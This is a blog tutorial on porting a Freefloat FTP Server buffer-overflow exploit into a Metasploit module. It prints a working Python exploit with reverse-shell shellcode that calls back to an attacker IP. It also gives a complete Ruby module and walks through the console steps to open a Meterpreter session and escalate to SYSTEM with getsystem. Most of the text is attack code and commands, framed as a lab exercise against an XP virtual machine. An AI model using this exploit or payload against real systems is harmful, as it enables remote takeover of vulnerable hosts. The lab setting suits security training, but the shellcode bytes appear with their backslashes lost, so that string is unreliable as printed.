exp5_1

In this edition of the Primal Security blog, we will be taking the exploit found in our first tutorial and porting it over to the Metasploit Framework. The benefit is you are contributing to a global network of penetration testers and exploit researchers who can use these modules to help secure infrastructures. If you do not have the application in question, please download it here: Download Link.

What you’ll need:

1. VM platform (Virtualbox, VMware, etc.)

2. Have a Windows 32-bit XP VM and a Kali Linux VM

3. Install Immunity debugger, Mona.py, and Freefloat FTP server on Windows VM

If you have not viewed the first blog post regarding Vanilla EIP overwrites, please view the following link:

http://www.primalsecurity.net/0x0-exploit-tutorial-buffer-overflow-vanilla-eip-overwrite-2/

With the above considerations in mind, let’s get to action:

Assumptions:

Lucky for us (and based on the initial attack), we currently know the following:

1)      We are not dealing with DEP or ASLR or EMET

2)      We know what the bad characters are that will kill execution of our payload

3)      We know what it will take to crash the service and give us control of EIP

As a refresher, let’s take a look back at the original code :


import sys, socket
target = sys.argv[1]

# msfpayload windows/shell_reverse_tcp LHOST=192.168.56.102 LPORT=443 R| msfencode -e x86/fnstenv_mov -b "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d" -t c
# Bad Chars: "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d"
# 338 bytes
shellcode = ("x6ax4fx59xd9xeexd9x74x24xf4x5bx81x73x13xb7x3d"
"xadxf8x83xebxfcxe2xf4x4bxd5x24xf8xb7x3dxcdx71"
"x52x0cx7fx9cx3cx6fx9dx73xe5x31x26xaaxa3xb6xdf"
"xd0xb8x8axe7xdex86xc2x9cx38x1bx01xccx84xb5x11"
"x8dx39x78x30xacx3fx55xcdxffxafx3cx6fxbdx73xf5"
"x01xacx28x3cx7dxd5x7dx77x49xe7xf9x67x6dx26xb0"
"xafxb6xf5xd8xb6xeex4exc4xfexb6x99x73xb6xebx9c"
"x07x86xfdx01x39x78x30xacx3fx8fxddxd8x0cxb4x40"
"x55xc3xcax19xd8x1axefxb6xf5xdcxb6xeexcbx73xbb"
"x76x26xa0xabx3cx7ex73xb3xb6xacx28x3ex79x89xdc"
"xecx66xccxa1xedx6cx52x18xefx62xf7x73xa5xd6x2b"
"xa5xdfx0ex9fxf8xb7x55xdax8bx85x62xf9x90xfbx4a"
"x8bxffx48xe8x15x68xb6x3dxadxd1x73x69xfdx90x9e"
"xbdxc6xf8x48xe8xfdxa8xe7x6dxedxa8xf7x6dxc5x12"
"xb8xe2x4dx07x62xb4x6ax90x77x95x95x9exdfx3fxad"
"xf9x0cxb4x4bx92xa7x6bxfax90x2ex98xd9x99x48xe8"
"xc5x9bxdax59xadx71x54x6axfaxafx86xcbxc7xeaxee"
"x6bx4fx05xd1xfaxe9xdcx8bx3cxacx75xf3x19xbdx3e"
"xb7x79xf9xa8xe1x6bxfbxbexe1x73xfbxaexe4x6bxc5"
"x81x7bx02x2bx07x62xb4x4dxb6xe1x7bx52xc8xdfx35"
"x2axe5xd7xc2x78x43x47x88x0fxaexdfx9bx38x45x2a"
"xc2x78xc4xb1x41xa7x78x4cxddxd8xfdx0cx7axbex8a"
"xd8x57xadxabx48xe8xadxf8")

# EIP control after 230 bytes in buffer
# '0x7c9d30d7' - JMP ESP | XP SP3 EN [SHELL32.dll] (C:WINDOWSsystem32SHELL32.dll)
buff = 'x90'*230+'xd7x30x9dx7c'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print s.recv(2048)
s.send("USER "+buff+'x90'*15+shellcode+"rn")
s.close()


Language Barrier

Here’s a quick translation of our original exploit’s Python code to the Metasploit Framework:

1)      Our import sys, socket parameters will be our RHOST, LHOST, FTP mixin and connect/disconnect/handler functions.

2)      Our target will be specified in a structured way to include our return address, any offsets or stack adjustments, and platform type.

3)      Our payload will be chosen via the console or GUI but within the code, we will only have to enter it as payload.encoded.

When porting a module to Metasploit, I find the easiest way to begin this journey is to copy the sample template of the type of exploit, auxiliary, or other module you are trying to create. Seen below is a way to search for sample.rb on your Linux system.

exp5_2

I was once told by a mentor of mine and senior security researcher James Fitts that it is a best practice to commit your personal modules to a directory within your /root/.msf4 (for some on older frameworks the number maybe different) that follows the path of the actual program.

For example: Your personally crafted remake of Metasploit’s exploit/windows/smb/psexec should be stored in /root/.msf4/modules/exploits/windows/smb/psexec.rb. This makes the tracking of modules convenient and there is less chance of deleting the original exploit by accident.

The next step is to copy the corresponding exploits/sample.rb file into your /root/.msf4 directory (in this case /root/.msf4/modules/exploits/windows/ftp/). If you do not currently have an exploits folder in your root directory add it using mkdir –p followed by the intended path.

 

Observing sample.rb for the first time

The sample file we have chosen. I would equate it more to the format of a report than anything else. Depicted below is the first half of the exploit template:

exp5_3

 

Field Descriptions Part 1

  • ‘Name’ serves as the name of the exploit and will be displayed in the Search panel.
  • ‘Description’ is your description of the vulnerability being assessed.
  • ‘License’ is always ‘MSF_LICENSE’.
  • ‘Author’ serves as a parameter to list those who contributed to the existence of the module whether it be the originator of the exploit, the porter of the exploit from another language to the framework, or the original disclosure.
  • ‘References’ are a place to list CVEs and other reference material detailing the vulnerability at hand.
  • ‘Payload’ is where you specify how big of a buffer space you have, what characters will not.
  • ‘Targets’ is where you specify the type of system being attacked, the return address for when we control EIP (seen later), and offsets.

 

Seen below is the second half of the template:

exp5_4

 

Field Descriptions Part 2

  • ‘DisclosureDate’ is the date when the vulnerability was released to the vendor or public.
  • ‘DefaultTarget’ is the target that will be chosen if the user does not specify one before launching the exploit.
  • The Check Function is used to determine whether or not the target asset is vulnerable based on preset parameters.
  • The Exploit Function houses the meat of the exploit. “buf” is where the buffer is being stored and sock.put/get_once are acting as the socket module we found ourselves using in Python.
  • Handler deals with incoming connections and outbound connections post exploitation.

 

“We gotta start makin’ changes!”

The first change that needs to be made can be seen below:

exp5_5

We have substituted the include Exploit::Remote::Tcp for include Exploit::Remote::Ftp. The reason for this is the Framework already has preset functions to guide us along based on the protocol or types of interactions that need to be engaged in for a particular type of target. In this case, we are dealing with FTP so being able to login to the FTP in one command and automatically grabbing a banner on connect are very useful features for us to have.

The next pictures have detailed comments, showing the changes that were made and the functionality that each change brings to our soon to be ported exploit:

exp5_6

exp5_7

One thing to note is be careful of your spacing and commas when editing modules. One mistake can throw you into a loop of errors and/or cause your module not to load. If this occurs, correct the mistake(s) (you will be given guidance via Ruby error handlers) and reload Metasploit entirely.

 

The Climb

When your module is ready to go, you will see that the number of exploits has incremented by the number of new exploits available which includes your /root/.msf4/modules/* directories.

exp5_8

Performing a simple search for our module yielded. NOTE: The name of your ruby file will be the name of the exploit in Metasploit so try not to copy the name of an existing module in the same category (ftp, http, smtp, etc) to avoid confusion. Once we have found the exploit we are looking for (in our case freefloatftp-primal), type use exploit/windows/ftp/freefloatftp-primal and hit enter to load this module.

You should now be brought the following prompt showing that your module loaded correctly:

msf exploit(freefloatftp-primal) >

From here, try out the info command. This will display all the parameters we set over the course of creating this module:

exp5_9

 

 

Executing Check functionality

Defining a “check” function in a Metasploit module gives users the opportunity to create to help determine whether the target machine is a suitable candidate for exploitation. In this demo, the following code was used:


def check
connect # connect to target host port
disconnect # disconnect from target host port

if (banner =~ /FreeFloat Ftp Server (Version 1.00)/) # Use regex to check banner
  return Exploit::CheckCode::Vulnerable # if regex matche in banner string, vulnerable
end # Otherwise
  return Exploit::CheckCode::Safe # print the service is "safe" or not vulnerable
end

When executed against our target at 192.168.133.128, the following actions occurred:

1)      A connection was made to the target.

2)      The module then disconnected from the target.

3)      Using the Ftp mixin, Metasploit stored the banner it received and a conditional statement has been created to check whether or not it matched the content we are searching for.

4)      If the content matches Exploit::CheckCode:Vulnerable will output that the target is vulnerable to the screen. If this is not the case, then tell the user that the target is not exploitable.

5)      Based on our defined check parameters, let’s take a look at our results:

exp5_10

As expected, the banner matched our search parameters and for this demonstration we can assume that the service is indeed vulnerable. NOTE: We are not taking into account users changing default banners.

 

Selecting a payload

After this, the next step is to choose a payload. Try entering show payloads and hit enter to display the possible payloads for use with this exploit.

exp5_11

After some inspection, I decided that the meterpreter payload would be a great choice given our buffer size and the fact that the payload would be encoded to avoid the bad characters we listed.

To set this payload, type set payload windows/meterpreter/reverse_tcp and then use the following options to satisfy its requirements for execution:


set LPORT <any available port>

set LHOST <set this to your IP address>

Earlier, we set the default exit method for this payload to call upon the internal Windows function ExitThread() (located within Kernel32.dll) which would attempt to return functionality back to the original process post the exiting of the shell. The other two methods of exiting safely (none, seh, and process) will described in a future post but in the case that you are curious, enter the following command to change the EXITFUNC parameter:


set EXITFUNC <thread, seh, process, none>

exp5_12

Now that we have satisfied all the requirements for launching our exploit (in this case, there’s only one target), type exploit and hit enter to watch the sparks fly. I typically use the “-j” flag along with exploit to send a successful returned shell to the background and return control of the console to me.

Useful Tip:

When editing modules, it is useful to use the reload command after committing new changes to an exploit as this stops you from having to completely exit out of Metasploit and reload the entire process all over again.  exploit will reload the exploit and fire it off based on the last settings given to it.

 

Exploit!

It is time to run the FreeFloat FTP Server service on our victim machine located at 192.168.133.128:

exp5_13

We will now attach Immunity Debugger to the process and launch the exploit against this service with a breakpoint in place on our JMP ESP from SHELL32.dll to show that we control EIP.

Now type exploit –j and let’s get to it!

exp5_14

As expected, the exploit is hanging. Let’s take a look at the victim machine:

exp5_15

Good news! We have hit our breakpoint. Let us hit SHIFT-F9 to continue execution.

exp5_16

We have now passed our NOP sled and have run into our encoded shellcode. Let us re-run our module and check the results.

exp5_17

As can be seen above, our exploit was launched and we have received our Meterpreter session. Typing sessions -i will display all active sessions. To choose the desired session, type sessions –i <session number>. In this case, we will chose session ID #1. I used getsystem (uses a variety of well known privilege escalation techniques including those seen in KiTrap0d) to attain SYSTEM level access to the machine. From this point, the world is your oyster.

Ladies and Gentlemen, you have now ported your first exploit into Metasploit.

Until next time, happy hacking.

References:

Full MSF exploit code:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Metasploit4 < Msf::Exploit::Remote	# Here we define the type of exploit this is
  Rank = NormalRanking				# How reliable is the exploit in terms of its impact to service availability post exploitation? Higher ratings mean more stability.

  # Here we define the mixins and modules we want to call upon within our module.
  include Exploit::Remote::Ftp

  def initialize(info = {})							# Beginning of the module
    super(update_info(info,							# This information will be shown in "info <exploitpath>"
      'Name'           => 'Freefloat FTP Server Buffer Overflow (USER)',	# Here we name the exploit and describe the vulnerablity
      'Description'    => %q{
          Freefloat FTP Server exhibits a stack-based buffer overflow vulnerability when a
	  large buffer is sent to the service using the USER command on login.
          An attacker could use this crash to obtain full control of the application
          and perform remote code execution operations.
      },
      'License'        => MSF_LICENSE,						# Doesn't change
      'Author'         => [
			    'D35m0nd142', 					# Original exploit
			    'Doug Prostko <dougtko[at]gmail.com>',		# Original MSF module
			    'Primal Security',					# The people running this tutorial 🙂
			  ],
      'References'     =>			# References that will be displayed in "info <this exploit path>. Use websites, RFCs, OSVDB, CVE, EDB numbers etc.
        [
		[ 'OSVDB', '69621'],
		[ 'EDB', '23243']
        ],
      'DefaultOptions' =>			# Set some defaults here
        {
          'EXITFUNC' => 'thread',		# Using EXITFUNC you can define how your code exits (via process, seh or thread)
        },
      'Payload'        =>			# Here you define your payload characteristics. DisableNops? What are the badchars? How much space do we have? Any Stack Adjustments?
        {
          'Space'    => 444,									# <-- How big of a buffer space do you have to execute the payload (only).
          'BadChars' => "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d",		# <-- These are characters you do not want in your payload (msfencode)
        },

       'Platform' => 'win',      # Here we define the platform
       'Targets'        =>
        [
          # Target 0: Windows XP Service Pack 3
          [
            'Windows XP SP3',		# Here we define the name of the Operating System of the target
            {
              'Ret'      => 0x7c9d30d7,	# JMP ESP | XP SP3 EN [SHELL32.dll] (C:WINDOWSsystem32SHELL32.dll)
	      'Offset'   => 230		# This is our initial buffer to get us control of EIP
            }
          ],
        ],
      'DisclosureDate' => 'August 15 2014',	# Date the vulnerability was disclosed to the vendor or authority
      'DefaultTarget'  => 0))			# Set the default target for the exploit if "set target #" is not performed
  end

  # This function will check to see if "FreeFloat FTP Server is in the banner
  # of the targeted service at the targeted port.
  def check
    connect					# connect to target host port
    disconnect					# disconnect from target host port

    if (banner =~ /FreeFloat Ftp Server (Version 1.00)/)	# Use regex to check banner
      return Exploit::CheckCode::Vulnerable	# if regex matche in banner string, vulnerable
    end						# Otherwise
      return Exploit::CheckCode::Safe		# print the service is "safe" or not vulnerable
  end

  # Here is where we define our exploit for export to the target host
  # followed by the fake return address and then the payload.
  def exploit
    connect_login									# Once again connecting to host
    print_status("Sending #{payload.encoded.length} byte payload to #{target.name}...")	# Printing to the console that we are sending a payload with a calculated length post encoding.

    # Exploit Meat
    sploit  = rand_text_alpha(target['Offset'], bad = payload_badchars)		# Since we defined the offset earlier we can call it with "target['Offset']" otherwise we'd just use (230). Also stops badchars.
    sploit << [ target.ret ].pack('V')						# Serves as our JMP ESP from SHELL32.dll
    sploit << make_nops(15)							# Innate function to create our NOP sled of "x90"s for us
    sploit << payload.encoded							# Actual payload (meterpreter, cmd shell, etc)

    # NOTE: In defining your exploit buffer, you must start with a declaration (exploit = something). After that point you can use += (like in Python) or << (just like in Ruby) to add to it.
    # Method to send our exploit when the user types "exploit" in the console and hits enter
    send_cmd( ['USER', sploit], false ) 		# NOTE: rn is already accounted for here
    handler						# payload handler
    disconnect						# finish up
  end
end